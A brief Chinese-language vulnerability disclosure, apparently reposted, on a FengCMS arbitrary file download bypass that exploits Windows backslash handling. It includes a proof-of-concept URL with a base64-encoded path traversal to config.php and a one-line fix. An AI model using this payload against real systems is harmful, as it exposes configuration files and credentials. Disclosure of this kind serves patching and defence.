你给的测试站点，看 源码 你是过滤但是你忘了window支持..\
http://guf521656.h163.92hezu.org/index.php?controller=down&file=L3VwbG9hZC9cLi5cY29uZmlnLnBocA==
修复方案：
直接过滤/和\就行了
查看更多关于FengCMS任意文件下载绕过第二发（系统特性未考虑的详细内容...
声明：本文来自网络，不代表【好得很程序员自学网】立场，转载请注明出处：http://www.haodehen.cn/did15182